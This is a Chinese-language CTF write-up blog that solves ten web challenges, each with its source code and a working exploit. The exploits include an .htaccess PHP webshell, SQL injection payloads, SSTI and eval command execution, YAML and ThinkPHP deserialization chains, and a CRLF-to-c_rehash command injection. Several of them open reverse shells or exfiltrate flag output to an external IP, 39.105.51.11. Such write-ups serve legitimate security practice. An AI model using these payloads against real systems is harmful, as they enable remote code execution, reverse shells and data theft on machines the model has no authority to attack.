W4ntY0u每日刷题
jerem1ah Lv4

目录:

0x01-[羊城杯2020]easyphp

考点:.htaccess的灵活运用

参考:

https://www.cnblogs.com/b1u3s/p/15966800.html

https://blog.csdn.net/weixin_46684578/article/details/119141109

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

payload

1
2
3
php_value auto_prepend_fil\
e .htaccess
#<?php @eval($_POST[6]);?>\
1
content=php%5Fvalue%20auto%5Fprepend%5Ffil%5C%0Ae%20%2Ehtaccess%0A%23%3C%3Fphp%20%40eval%28%24%5FPOST%5B6%5D%29%3B%3F%3E%5C&filename=.htaccess
1
6=system('ls;cat /flag;');

0x02-[SWPU2019]Web1

考点:二次注入、无列名注入

https://www.jianshu.com/p/a352261e0ad5 //无列名注入

https://www.cnblogs.com/AikN/p/15725756.html //wp

过滤:空格和 #, –+, and、or

1
-1'/**/group/**/by/**/25,'2
1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

image-20230503163947841

0x03-[AntCTF x D³CTF]Escape Plan

考点:python编码绕过,python特性构造数字

参考:

https://fq6p9pyo5tt.feishu.cn/docx/InUFdQUKdozf8yx5IhGcf5zInSe

https://mp.weixin.qq.com/s?srcid=0501bEUrW8ydbpm175TL5FFn&scene=23&sharer_sharetime=1682949687637&mid=2247486967&sharer_shareid=6eea79ff6da57fc6752ab0bc570bf392&sn=ad55ddd11c6bfa17843270625f5f92fc&idx=1&__biz=Mzg4MjcxMTAwMQ%3D%3D&chksm=cf53cd41f8244457c2db68626c91f2e4564d756b903222f3a913e89f211d475418864c5041bc&mpshare=1#rd

https://blog.carrot2.cn/2023/05/d3ctf2023.html

1
2
3
4
5
6
7
8
Escape Plan
The success for a break out depends on three things.
- layout: black_char
- routine: Python tricks
- help: Run /readflag to get flag, dns tunneling may help you

本题目由网商银行命题。
This challenge is offered by MYbank.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def challenge_3():
cmd = request.form.get("cmd", "")
if not cmd:
return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""
try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"
black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'
msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"
return msg
1
2
3
4
5
6
7
8
9
10
import requests, base64
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
payload = b"""__import__('os').popen("python -c 'import socket, os; flag =os.popen(\\"/readflag\\").read().encode();host = \\"39.105.51.11\\";port=7779; s =socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host,port));s.sendall(flag);s.close();a=1;'").read()"""
payload = str(base64.b64encode(payload)).strip('b').strip("'") +"="
print(payload)
CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(payload)
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
r = requests.post("http://139.196.153.118:30946/", data={"cmd": base64.b64encode(CMD.encode())}).text
print(r)

其他的获取数字的方式:

1
2
3
c = -~int(False)-~int(False)       # - ~
d = len(list(dict(a=()))) << len(list(dict(a=())))
e = len([[]]) << len([[]])

image-20230503162059028

结语:看着wp简单,自己写真不好写

0x04-[HDCTF 2023]BabyJxVx

考点:Apache Commons SCXML Remote Code Execution

参考:

https://boogipop.com/2023/04/22/HDCTF2023%20Web%E9%A2%98%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/#BabyJXvX

https://www.xaitx.com/1936.html

https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/

https://juejin.cn/post/7052882670396637197#heading-11

https://www.yuque.com/boogipop/okvgcs/zzx3n35xsg26ss0e?view=doc_embed

jadx反编译一下

1
com > example.babyjxvx > FlagController > FlagController.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.example.babyjxvx.FlagController;

import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
/* loaded from: BabyJxVx.jar:BOOT-INF/classes/com/example/babyjxvx/FlagController/Flagcontroller.class */
public class Flagcontroller {
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
int node1 = doc.getElementsByTagName("script").getLength();
int node2 = doc.getElementsByTagName("datamodel").getLength();
int node3 = doc.getElementsByTagName("invoke").getLength();
int node4 = doc.getElementsByTagName("param").getLength();
int node5 = doc.getElementsByTagName("parallel").getLength();
int node6 = doc.getElementsByTagName("history").getLength();
int node7 = doc.getElementsByTagName("transition").getLength();
int node8 = doc.getElementsByTagName("state").getLength();
int node9 = doc.getElementsByTagName("onentry").getLength();
int node10 = doc.getElementsByTagName("if").getLength();
int node11 = doc.getElementsByTagName("elseif").getLength();
if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0) {
return false;
}
return true;
}

@RequestMapping({"/"})
public String index() {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}

@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename).booleanValue()) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
return "revenge?";
} catch (Exception var5) {
System.out.println(var5);
return "revenge?";
}
}
}

poc.xml

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
1
python3 -m http.server 8080
1
nc -lvvp 7779
1
http://node4.anna.nssctf.cn:28095/Flag?filename=http://39.105.51.11:8080/poc.xml

结语:当然啦,复现还是比较容易的,具体的一些trick还需要细细研究一下!

0x05-[HDCTF 2023]YamiYami

考点:双重编码绕过waf、session伪造、yaml反序列化

参考:

https://boogipop.com/2023/04/22/HDCTF2023%20Web%E9%A2%98%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/#BabyJXvX

https://ph0ebus.cn/post/HDCTF2023%20Writeup.html#yamiyami%E5%A4%8D%E7%8E%B0

https://blog.csdn.net/GXcodes/article/details/130328610#3.%20yaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

非预期:

file伪协议读环境变量

1
http://node2.anna.nssctf.cn:28216/read?url=file:///proc/1/environ

预期解:

1
2
3
file:///app/app.py
file:///%61%70%70/%61%70%70.py
file:///%2561%2570%2570/%2561%2570%2570.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
1
/read?url=file:///sys/class/net/eth0/address
1
02:42:ac:02:5c:4a

flask_session_cookie_manager.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

1.txt上传即可,

1
2
3
4
5
6
7
8
9
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

结语:非预期真简单哇,不过常规解也不太难。

0x06-[CISCN 2022 初赛]online_crt

考点:CVE-2022-1292的c_rehash漏洞、CLRF漏洞

参考:

https://www.ctfer.vip/problem/2348 //题目

https://www.cnblogs.com/yesec/p/16345525.html //wp

https://www.cnblogs.com/0xo0Kerk/p/17204958.html //wp

https://xz.aliyun.com/t/11703#toc-0 /cve

https://syunaht.com/p/1853756331.html#toc-heading-3 //connection: close 启发

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

image-20230504215656658

访问getcrt获得证书名称,然后去请求proxy修改证书名称为恶意代码,然后去访问createlink利用c_rehash漏洞,最后访问一下得到flag.txt即可

1
static/crt/c75ecfae-4d94-41ea-9164-3d5956dd9315.crt

注意加上connection: close不然一直失败

1
2
3
4
5
6
7
8
9
import urllib.parse
uri = '''/admin%2frename?oldname=c75ecfae-4d94-41ea-9164-3d5956dd9315.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Connection: close

'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)
1
2
3
4
Content-Type: application/x-www-form-urlencoded
Content-Length: 235

uri=/admin%252frename%3Foldname%3Dc75ecfae-4d94-41ea-9164-3d5956dd9315.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A

得到回显

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Fri, 05 May 2023 03:20:19 GMT
Content-Length: 53
Connection: close

`echo Y2F0IC8qIA==|base64 --decode|bash>flag.txt`.crt
1
/createlink
1
/static/crt/flag.txt

image-20230505112821234

image-20230505112130327

0x07[愚人杯]web3 easy_ssti

考点:ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask 
from flask import render_template_string,render_template,send_file
app = Flask(__name__)
@app.route('/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else: return 'Nonononon'
@app.route('/app.zip')
def downloadzip():
path="app.zip"
return send_file(path)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
1
/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=ls;cat app.py

image-20230506211950587

结语:比较简单,就当练练手,熟悉熟悉ssti,给自己放个小假

0x08[愚人杯]easy_flask

考点:session伪造

这个题,session伪造拿到admin权限,然后用任意文件读取漏洞,下载完整源码,根据代码,命令执行。

以下是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Login</title>
</head>

<body>
<h1>Login</h1>

<form method="POST" action="/login/">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Login</button>
</form>
<p>Don't have an account? <a href="/register/">Register here</a></p>

</body>

</html>



<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Register</title>
</head>

<body>
<h1>Register</h1>

<form method="POST" action="/register/">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Register</button>

</form>
<a href="/login/">Back to login</a></p>
</body>

</html>

session

1
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZFZW4w.fxHPkeprmsYwfJxHFy07V_KbAVo

flask_session_cookie_manager3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


key = 'S3cr3tK3y'
res = FSCM.decode('eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZFZW4w.fxHPkeprmsYwfJxHFy07V_KbAVo', key)
print(res)

得到

1
{'loggedin': True, 'role': 'user', 'username': '123'}

修改

1
{'loggedin': True, 'role': 'admin', 'username': '123'}
1
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.ZFZbFA.2xidlV7BKwpFK8rD-FsfCAd5JHQ

得到完整代码

1
download/?filename=app.py
1
2
3
4
5
6
7
8
9
10
11

@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"
1
/hello/?eval=__import__('os').popen('ls;cd /;ls;cat /flag_is_h3re;').read()

image-20230506215750880

结语:也比较简单,就当练练手,给自己放个小假

0x09-[NSSRound#8 Basic]Upload_gogoggo

考点:go反弹shell

文件上传逻辑为go filename file

例如:go run /app/upload/run.go就可以执行这个文件

1
2
3
4
5
6
7
8
9
10
package main
import (
"fmt"
"os/exec"
)
func main() {
fmt.Println("hello")
cmd := exec.Command("bash", "-c", "bash -i >& /dev/tcp/39.105.51.11/7779 0>&1")
cmd.CombinedOutput()
}

/flaaaag

1
TlNTQ1QK

/home/galf

1
RnsxYmJkZDJmZS1lMzAwLTRhOTgtYjljYy01NjhmZmI4NTQxYmZ9Cg==

final

1
TlNTQ1QKRnsxYmJkZDJmZS1lMzAwLTRhOTgtYjljYy01NjhmZmI4NTQxYmZ9Cg==
1
NSSCTF{1bbdd2fe-e300-4a98-b9cc-568ffb8541bf}

结语:熟悉熟悉go,不太难

0x10-[CISCN 2022 初赛]ezpop

考点:ThinkPHP V6.0.12LTS 反序列化漏洞

参考:

https://tlmssfs-x.github.io/2020/11/09/23849/ //thinkphp5 反序列化 利用链分析

https://blog.csdn.net/weixin_50289181/article/details/125139737 // ThinkPHP V6.0.12LTS 反序列化漏洞 利用链分析

https://haoami.github.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/#Ezpop //payload

/Index/test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['ls;']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
